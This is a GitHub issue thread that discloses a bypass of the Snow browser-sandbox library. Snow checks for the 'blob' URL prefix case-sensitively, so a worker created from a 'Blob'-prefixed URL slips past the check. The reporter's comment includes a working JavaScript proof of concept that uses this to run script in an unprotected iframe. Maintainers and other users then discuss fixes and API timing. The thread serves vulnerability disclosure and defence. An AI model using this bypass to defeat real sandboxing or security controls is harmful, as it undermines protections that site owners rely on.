Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Snow can be bypassed by creating a Blob URI inside a worker #158

Open
matanber opened this issue Apr 29, 2024 · 7 comments
Open

Snow can be bypassed by creating a Blob URI inside a worker #158

matanber opened this issue Apr 29, 2024 · 7 comments

Comments

@matanber
Copy link

In order to prevent Blob URIs from being created within workers, snow overrides the Worker constructor using the following code:

const native = win.Worker;
win.Worker = function Worker(aURL, options) {
  const url = typeof aURL === 'string' ? aURL : toString(aURL);
  if (stringStartsWith(url, 'blob')) {
    return new native(swap(url), options);
  }
  return new native(url, options);
};
// [...]
function swap(url) {
  if (!blobs.has(url)) {
    const content = syncGet(url);
    const prefix = `(function() { Object.defineProperty(URL, 'createObjectURL', { value: () => { throw new Error(\`${BLOCKED_BLOB_MSG}\`) }}) }())`;
    const js = prefix + '\n\n' + content;
    blobs.set(url, createObjectURL(new Blob([js], {
      type: 'text/javascript'
    })));
  }
  return blobs.get(url);
}

This code overrides the URL.createObjectURL function in every worker that is created from a URL that begins with 'blob'. Because URI schemes are case-insensitive, this can be bypassed simply by creating a worker with a URL that begins with 'Blob'. Here is a little demo for that:

blob = new Blob([`
    console.log(URL.createObjectURL(new Blob(["test"])))
`], {type: "text/javascript"})
u = URL.createObjectURL(blob)
u = "B" + u.substring(1)
const w = new Worker(u)

Building on top of arxenix's brilliant bypass in issue #43, this can be used to bypass Snow using the following PoC:

blob = new Blob([`
    js_url = URL.createObjectURL(new Blob([\`
        alert(origin)
    \`], {type: "text/javascript"}))
    postMessage(URL.createObjectURL(new Blob(['<script src="'+js_url+'"></script>'], {type: "text/html"})))
`], {type: "text/javascript"})
u = URL.createObjectURL(blob)
u = "B" + u.substring(1)
w = new Worker(u)
w.onmessage = (msg) => {
    console.log(msg);
    f = document.createElement("iframe");
    document.body.appendChild(f)
    f.src = msg.data;
}
@weizman
Copy link
Member

weizman commented May 5, 2024

Hi @matanber,

As you've probably seen, there are quite a few reported issues against the Snow project, which we haven't addressed yet on purpose.

These issues have taught us that browsers are just too unable to help us address this issue in the user land (meaning by implementing JS rules at runtime).

By "this issue" I refer to the ability to form new same origin realms and access them even when an app wants to forbid it.

This is also known as the same origin concern which we write about a lot and are trying to convince browser vendors to help defend against this problem natively (see our explainer).

I'm telling you this because I don't want you to spend some of your precious time on Snow until we either address these issues or decide to form a different version of a solution to this problem (WIP).

I take responsibility for not making this clear in the README file, I will make sure to do so.

I at least hope this was fun for you and helped you comprehend this new type of problem we're trying to defend and address - with hope to succeed one day!

Either way, thanks for the effort, it is much appreciated.

(p.s. have a go at LavaDome - I think is has a better shot at succeeding than Snow, at least for now)

@weizman
Copy link
Member

weizman commented May 5, 2024

And as for this bypass specifically - awesome work. Truly.

@alpgul
Copy link

alpgul commented May 21, 2024

function swap2(aURL) {
    const url = typeof aURL === 'string' ? aURL : toString(aURL);
    if (stringStartsWith(url, 'blob')) {
        if (!blobs.has(url)) {
            const content = syncGet(url);
            const preloadURL = createObjectURL(new Blob([`window.parent.SNOW_WINDOW(window);`], {
                type: 'text/javascript'
            }));
            const prefix = `<script src=${preloadURL}></script>`;
            const js = prefix + '\n\n' + content;
            blobs.set(url, createObjectURL(new Blob([js], {
                type: 'text/html'
            })));
        }
        return blobs.get(url);
    }
    return url;
}
Object.defineProperty(win.HTMLIFrameElement.prototype, 'src', {
    configurable: true,
    enumerable: true,
    set: function(url) {
        return setSrc(this, "IFRAME", swap2(url));
    }
});
Object.defineProperty(win.HTMLFrameElement.prototype, 'src', {
    configurable: true,
    enumerable: true,
    set: function(url) {
        return setSrc(this, "FRAME", swap2(url));
    }
});

function setSrc(element, tag, url) {
    switch (tag) {
        case 'IFRAME':
            return bag.iframeSrc.call(element, url);
        case 'FRAME':
            return bag.frameSrc.call(element, url);
        default:
            return null;
    }
}

The code above is a solution to the problem,, but I only tested the code in the issue. However, I have a few questions. First, why didn't you use MutationObserver? Second, why did you use the iframe onload event? When I examined the code, I couldn't see any benefits of using 'onload'.

@weizman
Copy link
Member

weizman commented May 24, 2024

MutationObserver isn't a synchronous API, so by the time it tells you a new iframe is introduced to the page, it's too late because the attacker probably gained access to it before you.
The onload event on the other hand acts synchronously against iframes loading local resources (e.g. about:blank or blob:), so it answers that need that the MutationObserver approach doesn't.
Hope this helps.

@alpgul
Copy link

alpgul commented May 24, 2024

I got confused because MutationObserver was used in that project, which caused me to be misled. Your explanation helped me understand, thank you.

@weizman
Copy link
Member

weizman commented May 25, 2024

It's all a matter of what you're trying to defend 😉

@eligrey
Copy link

eligrey commented Jun 27, 2024

It is possible to provide some protections against this bypass without Realm Initialization Control, although RIC would make it much easier to solve.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants